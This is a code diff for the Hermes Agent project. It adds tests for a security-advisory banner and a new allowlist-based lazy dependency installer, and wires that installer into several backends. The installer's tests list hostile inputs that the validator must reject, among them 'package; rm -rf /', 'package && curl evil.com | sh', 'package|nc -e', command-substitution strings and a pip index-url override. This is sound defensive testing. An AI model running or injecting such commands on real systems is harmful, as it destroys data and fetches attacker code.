||||||
|
# don't depend on the full hermes_cli.config bootstrap.
|
||||||
|
store: dict = {"security": {}}
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.load_config", lambda: store
|
||||||
|
)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.save_config",
|
||||||
|
lambda cfg: store.update(cfg) or None,
|
||||||
|
)
|
||||||
|
assert adv.ack_advisory("test-advisory-2026-99") is True
|
||||||
|
assert "test-advisory-2026-99" in store["security"]["acked_advisories"]
|
||||||
|
# Idempotent.
|
||||||
|
adv.ack_advisory("test-advisory-2026-99")
|
||||||
|
assert (
|
||||||
|
store["security"]["acked_advisories"].count("test-advisory-2026-99")
|
||||||
|
== 1
|
||||||
|
)
|
||||||
|
|
||||||
|
def test_ack_advisory_rejects_blank(self, isolated_home):
|
||||||
|
assert adv.ack_advisory("") is False
|
||||||
|
assert adv.ack_advisory(" ") is False
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Banner cache rate limiting
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestBannerCache:
|
||||||
|
def test_first_call_returns_due_hits(
|
||||||
|
self, fake_advisory, isolated_home, monkeypatch
|
||||||
|
):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
due = adv.hits_due_for_banner([hit])
|
||||||
|
assert due == [hit]
|
||||||
|
|
||||||
|
def test_second_call_within_window_suppresses(
|
||||||
|
self, fake_advisory, isolated_home, monkeypatch
|
||||||
|
):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
adv.hits_due_for_banner([hit])
|
||||||
|
# Same banner inside repeat window → suppressed.
|
||||||
|
again = adv.hits_due_for_banner([hit])
|
||||||
|
assert again == []
|
||||||
|
|
||||||
|
def test_call_after_window_re_banners(
|
||||||
|
self, fake_advisory, isolated_home, monkeypatch
|
||||||
|
):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
adv.hits_due_for_banner([hit])
|
||||||
|
# Backdate the cache so it looks like the banner was shown more
|
||||||
|
# than 24h ago — should re-banner.
|
||||||
|
cache_path = adv._banner_cache_path()
|
||||||
|
assert cache_path is not None
|
||||||
|
old_lines = cache_path.read_text(encoding="utf-8").splitlines()
|
||||||
|
backdated = []
|
||||||
|
for line in old_lines:
|
||||||
|
parts = line.split(None, 1)
|
||||||
|
if len(parts) == 2:
|
||||||
|
backdated.append(f"{parts[0]} {time.time() - 48 * 3600}")
|
||||||
|
cache_path.write_text("\n".join(backdated) + "\n", encoding="utf-8")
|
||||||
|
again = adv.hits_due_for_banner([hit])
|
||||||
|
assert again == [hit]
|
||||||
|
|
||||||
|
def test_acked_hits_never_banner(
|
||||||
|
self, fake_advisory, isolated_home, monkeypatch
|
||||||
|
):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: {fake_advisory.id})
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
assert adv.hits_due_for_banner([hit]) == []
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Rendering
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestRendering:
|
||||||
|
def test_short_banner_lines_includes_id_and_version(self, fake_advisory):
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
lines = adv.short_banner_lines([hit])
|
||||||
|
joined = "\n".join(lines)
|
||||||
|
assert fake_advisory.id in joined
|
||||||
|
assert fake_advisory.title in joined
|
||||||
|
assert "fake-malicious-pkg==6.6.6" in joined
|
||||||
|
assert "hermes doctor" in joined
|
||||||
|
|
||||||
|
def test_full_remediation_text_contains_all_steps(self, fake_advisory):
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
body = "\n".join(adv.full_remediation_text(hit))
|
||||||
|
# All remediation steps must be present.
|
||||||
|
for step in fake_advisory.remediation:
|
||||||
|
assert step in body
|
||||||
|
assert fake_advisory.url in body
|
||||||
|
assert fake_advisory.summary in body
|
||||||
|
|
||||||
|
def test_render_doctor_section_clean_state(self):
|
||||||
|
# No hits → success message, has_problems=False.
|
||||||
|
has_problems, lines = adv.render_doctor_section([])
|
||||||
|
assert has_problems is False
|
||||||
|
assert any("No active security advisories" in line for line in lines)
|
||||||
|
|
||||||
|
def test_render_doctor_section_with_unacked_hit(
|
||||||
|
self, fake_advisory, monkeypatch
|
||||||
|
):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
has_problems, lines = adv.render_doctor_section([hit])
|
||||||
|
assert has_problems is True
|
||||||
|
body = "\n".join(lines)
|
||||||
|
assert fake_advisory.title in body
|
||||||
|
|
||||||
|
def test_gateway_log_message_singular(self, fake_advisory, monkeypatch):
|
||||||
|
monkeypatch.setattr(adv, "get_acked_ids", lambda: set())
|
||||||
|
hit = adv.AdvisoryHit(
|
||||||
|
advisory=fake_advisory,
|
||||||
|
package="fake-malicious-pkg",
|
||||||
|
installed_version="6.6.6",
|
||||||
|
)
|
||||||
|
msg = adv.gateway_log_message([hit])
|
||||||
|
assert msg is not None
|
||||||
|
assert fake_advisory.id in msg
|
||||||
|
assert "fake-malicious-pkg==6.6.6" in msg
|
||||||
|
|
||||||
|
def test_gateway_log_message_returns_none_for_no_hits(self):
|
||||||
|
assert adv.gateway_log_message([]) is None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Real catalog smoke test
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestRealCatalog:
|
||||||
|
def test_advisories_well_formed(self):
|
||||||
|
"""Every shipped advisory must be self-consistent.
|
||||||
|
|
||||||
|
Catches data-entry mistakes (empty IDs, missing remediation, bad
|
||||||
|
compromised tuples) before they ship.
|
||||||
|
"""
|
||||||
|
seen_ids: set[str] = set()
|
||||||
|
for advisory in adv.ADVISORIES:
|
||||||
|
assert advisory.id, "advisory has empty id"
|
||||||
|
assert advisory.id not in seen_ids, f"duplicate id {advisory.id}"
|
||||||
|
seen_ids.add(advisory.id)
|
||||||
|
assert advisory.title, f"{advisory.id}: empty title"
|
||||||
|
assert advisory.summary, f"{advisory.id}: empty summary"
|
||||||
|
assert advisory.remediation, f"{advisory.id}: empty remediation"
|
||||||
|
assert advisory.url.startswith("http"), \
|
||||||
|
f"{advisory.id}: bad url {advisory.url!r}"
|
||||||
|
assert advisory.compromised, \
|
||||||
|
f"{advisory.id}: empty compromised tuple"
|
||||||
|
for pkg, versions in advisory.compromised:
|
||||||
|
assert pkg, f"{advisory.id}: empty package name"
|
||||||
|
assert isinstance(versions, frozenset), \
|
||||||
|
f"{advisory.id}: versions must be frozenset"
|
||||||
228
tests/tools/test_lazy_deps.py
Normal file
228
tests/tools/test_lazy_deps.py
Normal file
|
|
@ -0,0 +1,228 @@
|
||||||
|
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
|
||||||
|
|
||||||
|
The lazy_deps module is the architectural fix for the "one quarantined
|
||||||
|
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
|
||||||
|
which only installs from a strict allowlist, refuses anything that looks
|
||||||
|
like a URL / file path, runs venv-scoped, and respects the
|
||||||
|
``security.allow_lazy_installs`` config flag.
|
||||||
|
|
||||||
|
These tests cover the security boundary and the public API. The real pip
|
||||||
|
call is mocked — we never actually shell out during unit tests.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from typing import Iterator
|
||||||
|
|
||||||
|
import pytest
|
||||||
|
|
||||||
|
import tools.lazy_deps as ld
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Spec safety
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestSpecSafety:
|
||||||
|
@pytest.mark.parametrize("spec", [
|
||||||
|
"mistralai>=2.3.0,<3",
|
||||||
|
"elevenlabs>=1.0,<2",
|
||||||
|
"honcho-ai>=2.0.1,<3",
|
||||||
|
"boto3>=1.35.0,<2",
|
||||||
|
"mautrix[encryption]>=0.20,<1",
|
||||||
|
"google-api-python-client>=2.100,<3",
|
||||||
|
"youtube-transcript-api>=1.2.0",
|
||||||
|
"qrcode>=7.0,<8",
|
||||||
|
"package", # bare name, no version
|
||||||
|
"package==1.0.0",
|
||||||
|
"package~=1.0",
|
||||||
|
])
|
||||||
|
def test_safe_specs_pass(self, spec):
|
||||||
|
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("spec", [
|
||||||
|
# URL-shaped → rejected (no remote origin override allowed)
|
||||||
|
"git+https://github.com/foo/bar.git",
|
||||||
|
"https://example.com/foo.tar.gz",
|
||||||
|
# File path → rejected
|
||||||
|
"/etc/passwd",
|
||||||
|
"./local-malware",
|
||||||
|
"../escape",
|
||||||
|
# Shell metacharacters → rejected
|
||||||
|
"package; rm -rf /",
|
||||||
|
"package && curl evil.com | sh",
|
||||||
|
"package`whoami`",
|
||||||
|
"package$(whoami)",
|
||||||
|
"package|nc -e",
|
||||||
|
# Pip flag injection → rejected
|
||||||
|
"--index-url=http://evil/",
|
||||||
|
"-r requirements.txt",
|
||||||
|
# Whitespace control chars → rejected
|
||||||
|
"package\nshell-injection",
|
||||||
|
"package\rmore",
|
||||||
|
# Empty / overly long → rejected
|
||||||
|
"",
|
||||||
|
"x" * 500,
|
||||||
|
])
|
||||||
|
def test_unsafe_specs_rejected(self, spec):
|
||||||
|
assert not ld._spec_is_safe(spec), \
|
||||||
|
f"expected {spec!r} to be rejected"
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Allowlist enforcement
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestAllowlist:
|
||||||
|
def test_unknown_feature_raises(self, monkeypatch):
|
||||||
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||||
|
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
|
||||||
|
ld.ensure("not.a.real.feature")
|
||||||
|
|
||||||
|
def test_lazy_deps_keys_use_namespace_dot_name(self):
|
||||||
|
# Sanity check on the data shape — every key should be at least
|
||||||
|
# one dot-separated namespace.
|
||||||
|
for key in ld.LAZY_DEPS:
|
||||||
|
assert "." in key, f"feature {key!r} should be namespace.name"
|
||||||
|
|
||||||
|
def test_every_lazy_dep_spec_passes_safety(self):
|
||||||
|
# Defence in depth — even though specs are author-controlled,
|
||||||
|
# the safety regex must accept everything we ship.
|
||||||
|
for feature, specs in ld.LAZY_DEPS.items():
|
||||||
|
for spec in specs:
|
||||||
|
assert ld._spec_is_safe(spec), \
|
||||||
|
f"{feature}: spec {spec!r} fails safety check"
|
||||||
|
|
||||||
|
def test_feature_install_command_returns_pip_invocation(self):
|
||||||
|
cmd = ld.feature_install_command("memory.honcho")
|
||||||
|
assert cmd is not None
|
||||||
|
assert cmd.startswith("uv pip install")
|
||||||
|
assert "honcho-ai" in cmd
|
||||||
|
|
||||||
|
def test_feature_install_command_unknown(self):
|
||||||
|
assert ld.feature_install_command("not.real") is None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# allow_lazy_installs gating
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestSecurityGating:
|
||||||
|
def test_disabled_via_config_raises(self, monkeypatch):
|
||||||
|
# Pretend honcho is missing AND lazy installs are disabled.
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||||
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
|
||||||
|
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
|
||||||
|
ld.ensure("test.feat", prompt=False)
|
||||||
|
|
||||||
|
def test_disabled_via_env_var(self, monkeypatch):
|
||||||
|
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
|
||||||
|
# Bypass config layer; the env var alone must disable.
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.load_config",
|
||||||
|
lambda: {"security": {"allow_lazy_installs": True}},
|
||||||
|
)
|
||||||
|
assert ld._allow_lazy_installs() is False
|
||||||
|
|
||||||
|
def test_default_allows(self, monkeypatch):
|
||||||
|
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.load_config",
|
||||||
|
lambda: {"security": {}},
|
||||||
|
)
|
||||||
|
assert ld._allow_lazy_installs() is True
|
||||||
|
|
||||||
|
def test_config_failure_fails_open(self, monkeypatch):
|
||||||
|
# If config can't be read at all, we ALLOW installs rather than
|
||||||
|
# blocking the user out of their own backends.
|
||||||
|
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
"hermes_cli.config.load_config",
|
||||||
|
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
|
||||||
|
)
|
||||||
|
assert ld._allow_lazy_installs() is True
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# ensure() happy/sad paths
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestEnsure:
|
||||||
|
def test_already_satisfied_is_noop(self, monkeypatch):
|
||||||
|
# If the package is importable, ensure() returns without calling pip.
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||||
|
# If pip were called, this would fail loudly.
|
||||||
|
monkeypatch.setattr(
|
||||||
|
ld, "_venv_pip_install",
|
||||||
|
lambda *a, **kw: pytest.fail("pip should not be called"),
|
||||||
|
)
|
||||||
|
ld.ensure("test.satisfied", prompt=False) # no exception
|
||||||
|
|
||||||
|
def test_install_success_path(self, monkeypatch):
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
|
||||||
|
# First check sees missing, post-install check sees installed.
|
||||||
|
call_count = {"n": 0}
|
||||||
|
|
||||||
|
def fake_satisfied(spec):
|
||||||
|
call_count["n"] += 1
|
||||||
|
return call_count["n"] > 1 # missing first, installed after
|
||||||
|
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
|
||||||
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
ld, "_venv_pip_install",
|
||||||
|
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||||
|
)
|
||||||
|
ld.ensure("test.install", prompt=False)
|
||||||
|
|
||||||
|
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||||
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
ld, "_venv_pip_install",
|
||||||
|
lambda specs, **kw: ld._InstallResult(
|
||||||
|
False, "", "ERROR: package not found on PyPI"
|
||||||
|
),
|
||||||
|
)
|
||||||
|
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
|
||||||
|
ld.ensure("test.fail", prompt=False)
|
||||||
|
|
||||||
|
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
|
||||||
|
# Pip says success but the package still isn't importable
|
||||||
|
# (e.g. site-packages caching, wrong python). Surface this.
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||||
|
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
|
||||||
|
monkeypatch.setattr(
|
||||||
|
ld, "_venv_pip_install",
|
||||||
|
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
|
||||||
|
)
|
||||||
|
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
|
||||||
|
ld.ensure("test.cache", prompt=False)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# is_available
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
|
||||||
|
class TestIsAvailable:
|
||||||
|
def test_unknown_feature_returns_false(self):
|
||||||
|
assert ld.is_available("not.a.thing") is False
|
||||||
|
|
||||||
|
def test_satisfied_returns_true(self, monkeypatch):
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||||
|
assert ld.is_available("test.avail") is True
|
||||||
|
|
||||||
|
def test_missing_returns_false(self, monkeypatch):
|
||||||
|
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
|
||||||
|
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||||
|
assert ld.is_available("test.miss") is False
|
||||||
|
|
@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared:
|
||||||
root = Path(__file__).resolve().parents[2]
|
root = Path(__file__).resolve().parents[2]
|
||||||
source = (root / "pyproject.toml").read_text(encoding="utf-8")
|
source = (root / "pyproject.toml").read_text(encoding="utf-8")
|
||||||
# The dependency line should be conditional on sys_platform == 'win32'
|
# The dependency line should be conditional on sys_platform == 'win32'
|
||||||
# and should NOT be in the core dependencies for Linux/macOS.
|
# and should NOT be in the core dependencies for Linux/macOS. We do
|
||||||
assert (
|
# not care about the exact pinned version (which is bumped over time)
|
||||||
'tzdata>=2023.3; sys_platform == \'win32\'' in source
|
# — only that tzdata is declared with a win32 marker. This is an
|
||||||
or "tzdata>=2023.3; sys_platform == 'win32'" in source
|
# invariant check, not a snapshot test.
|
||||||
or 'tzdata>=2023.3; sys_platform == "win32"' in source
|
import re
|
||||||
), "tzdata must be a Windows-only dep in pyproject.toml dependencies"
|
# Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version
|
||||||
|
# specifier in between (==X.Y.Z, >=X.Y.Z,<W, etc.) and either quote
|
||||||
|
# style on the marker.
|
||||||
|
pattern = re.compile(
|
||||||
|
r'"tzdata[^"]*;\s*sys_platform\s*==\s*[\'"]win32[\'"]\s*"'
|
||||||
|
)
|
||||||
|
assert pattern.search(source), (
|
||||||
|
"tzdata must be a Windows-only dep in pyproject.toml dependencies "
|
||||||
|
"(declared with a `; sys_platform == 'win32'` marker)"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
# ---------------------------------------------------------------------------
|
||||||
|
|
|
||||||
|
|
@ -51,6 +51,13 @@ class DaytonaEnvironment(BaseEnvironment):
|
||||||
requested_cwd = cwd
|
requested_cwd = cwd
|
||||||
super().__init__(cwd=cwd, timeout=timeout)
|
super().__init__(cwd=cwd, timeout=timeout)
|
||||||
|
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("terminal.daytona", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
from daytona import (
|
from daytona import (
|
||||||
Daytona,
|
Daytona,
|
||||||
CreateSandboxFromImageParams,
|
CreateSandboxFromImageParams,
|
||||||
|
|
|
||||||
|
|
@ -80,11 +80,23 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non
|
||||||
_save_snapshots(snapshots)
|
_save_snapshots(snapshots)
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_modal_sdk() -> None:
|
||||||
|
"""Lazy-install modal on demand. Idempotent — fast no-op once installed."""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("terminal.modal", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
|
|
||||||
|
|
||||||
def _resolve_modal_image(image_spec: Any) -> Any:
|
def _resolve_modal_image(image_spec: Any) -> Any:
|
||||||
"""Convert registry references or snapshot ids into Modal image objects.
|
"""Convert registry references or snapshot ids into Modal image objects.
|
||||||
|
|
||||||
Includes add_python support for ubuntu/debian images (absorbed from PR 4511).
|
Includes add_python support for ubuntu/debian images (absorbed from PR 4511).
|
||||||
"""
|
"""
|
||||||
|
_ensure_modal_sdk()
|
||||||
import modal as _modal
|
import modal as _modal
|
||||||
|
|
||||||
if not isinstance(image_spec, str):
|
if not isinstance(image_spec, str):
|
||||||
|
|
@ -183,6 +195,7 @@ class ModalEnvironment(BaseEnvironment):
|
||||||
if restored_snapshot_id:
|
if restored_snapshot_id:
|
||||||
logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20])
|
logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20])
|
||||||
|
|
||||||
|
_ensure_modal_sdk()
|
||||||
import modal as _modal
|
import modal as _modal
|
||||||
|
|
||||||
cred_mounts = []
|
cred_mounts = []
|
||||||
|
|
|
||||||
|
|
@ -42,6 +42,19 @@ if TYPE_CHECKING:
|
||||||
|
|
||||||
DEFAULT_VERCEL_CWD = "/vercel/sandbox"
|
DEFAULT_VERCEL_CWD = "/vercel/sandbox"
|
||||||
_DEFAULT_CONTAINER_DISK_MB = 51200
|
_DEFAULT_CONTAINER_DISK_MB = 51200
|
||||||
|
|
||||||
|
|
||||||
|
def _ensure_vercel_sdk() -> None:
|
||||||
|
"""Lazy-install vercel SDK on demand. Idempotent."""
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("terminal.vercel", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
|
|
||||||
|
|
||||||
_CREATE_RETRY_ATTEMPTS = 3
|
_CREATE_RETRY_ATTEMPTS = 3
|
||||||
_WRITE_RETRY_ATTEMPTS = 3
|
_WRITE_RETRY_ATTEMPTS = 3
|
||||||
_TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504})
|
_TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504})
|
||||||
|
|
@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None:
|
||||||
|
|
||||||
@cache
|
@cache
|
||||||
def _sandbox_status_type() -> type[SandboxStatus]:
|
def _sandbox_status_type() -> type[SandboxStatus]:
|
||||||
|
_ensure_vercel_sdk()
|
||||||
from vercel.sandbox import SandboxStatus
|
from vercel.sandbox import SandboxStatus
|
||||||
|
|
||||||
return SandboxStatus
|
return SandboxStatus
|
||||||
|
|
@ -260,6 +274,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
|
||||||
"Use the default shared setting."
|
"Use the default shared setting."
|
||||||
)
|
)
|
||||||
|
|
||||||
|
_ensure_vercel_sdk()
|
||||||
from vercel.sandbox import Resources
|
from vercel.sandbox import Resources
|
||||||
|
|
||||||
sandbox_timeout = max(
|
sandbox_timeout = max(
|
||||||
|
|
@ -281,6 +296,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
|
||||||
)
|
)
|
||||||
|
|
||||||
def _create_sandbox(self) -> Sandbox:
|
def _create_sandbox(self) -> Sandbox:
|
||||||
|
_ensure_vercel_sdk()
|
||||||
from vercel.sandbox import Sandbox
|
from vercel.sandbox import Sandbox
|
||||||
|
|
||||||
snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None
|
snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None
|
||||||
|
|
|
||||||
|
|
@ -52,6 +52,13 @@ def _load_fal_client() -> Any:
|
||||||
global fal_client
|
global fal_client
|
||||||
if fal_client is not None:
|
if fal_client is not None:
|
||||||
return fal_client
|
return fal_client
|
||||||
|
try:
|
||||||
|
from tools.lazy_deps import ensure as _lazy_ensure
|
||||||
|
_lazy_ensure("image.fal", prompt=False)
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
except Exception as e:
|
||||||
|
raise ImportError(str(e))
|
||||||
import fal_client as _fal_client # noqa: F811 — module-global rebind
|
import fal_client as _fal_client # noqa: F811 — module-global rebind
|
||||||
fal_client = _fal_client
|
fal_client = _fal_client
|
||||||
return fal_client
|
return fal_client
|
||||||
|
|
|
||||||
441
tools/lazy_deps.py
Normal file
441
tools/lazy_deps.py
Normal file
|
|
@ -0,0 +1,441 @@
|
||||||
|
"""
|
||||||
|
Lazy dependency installer for opt-in Hermes Agent backends.
|
||||||
|
|
||||||
|
Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock,
|
||||||
|
Slack, Matrix, etc.) require Python packages that not every user needs. The
|
||||||
|
historical approach was to bundle them all under ``pyproject.toml`` extras
|
||||||
|
(``hermes-agent[all]``) and install them eagerly at setup time. That has
|
||||||
|
two problems:
|
||||||
|
|
||||||
|
1. **Fragility.** When one extra's transitive dependency becomes
|
||||||
|
unavailable on PyPI (quarantined for malware, yanked, broken upload),
|
||||||
|
the *entire* ``[all]`` resolve fails and fresh installs silently fall
|
||||||
|
back to a stripped tier — losing 10+ unrelated extras at once.
|
||||||
|
|
||||||
|
2. **Bloat.** A user who only ever talks to one provider pulls hundreds
|
||||||
|
of packages they will never import.
|
||||||
|
|
||||||
|
The lazy-install pattern fixes both. Backends call :func:`ensure` at the
|
||||||
|
top of their first-import path. If the deps are missing, ``ensure`` checks
|
||||||
|
the ``security.allow_lazy_installs`` config flag (default true) and runs
|
||||||
|
a venv-scoped pip install. If the user has explicitly disabled lazy
|
||||||
|
installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear
|
||||||
|
remediation hint pointing at ``hermes tools`` or the manual pip command.
|
||||||
|
|
||||||
|
Security model:
|
||||||
|
|
||||||
|
* **Venv-scoped only.** Installs target ``sys.executable`` in the active
|
||||||
|
venv. We never touch the system Python.
|
||||||
|
* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc.
|
||||||
|
We do NOT support ``--index-url`` overrides, ``git+https://``, file:
|
||||||
|
paths, or any other input that could be hijacked by a malicious config.
|
||||||
|
* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be
|
||||||
|
installed via this path. A typo in feature name doesn't get the user
|
||||||
|
install-anything semantics.
|
||||||
|
* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in
|
||||||
|
``config.yaml`` disables runtime installs. Users in restricted networks
|
||||||
|
or strict security postures can pin themselves to whatever was installed
|
||||||
|
at setup time.
|
||||||
|
* **Offline detection.** If the install fails (offline, mirror down,
|
||||||
|
PyPI 404 / quarantine), we surface the failure as
|
||||||
|
:class:`FeatureUnavailable` with the actual pip stderr — no silent
|
||||||
|
retries, no caching of bad state.
|
||||||
|
|
||||||
|
Adding a new backend:
|
||||||
|
|
||||||
|
1. Add an entry to :data:`LAZY_DEPS` with the package specs.
|
||||||
|
2. At the top of the backend module's import path, call
|
||||||
|
``ensure("feature.name")`` inside a try/except that converts
|
||||||
|
:class:`FeatureUnavailable` to a useful runtime error.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# Allowlist of lazy-installable backends.
|
||||||
|
#
|
||||||
|
# Keys are dot-separated feature names ("namespace.backend"). Values are
|
||||||
|
# tuples of pip-installable specs that match the corresponding extra in
|
||||||
|
# pyproject.toml. The framework enforces that only specs from this map
|
||||||
|
# can flow into the pip install command.
|
||||||
|
# =============================================================================
|
||||||
|
|
||||||
|
|
||||||
|
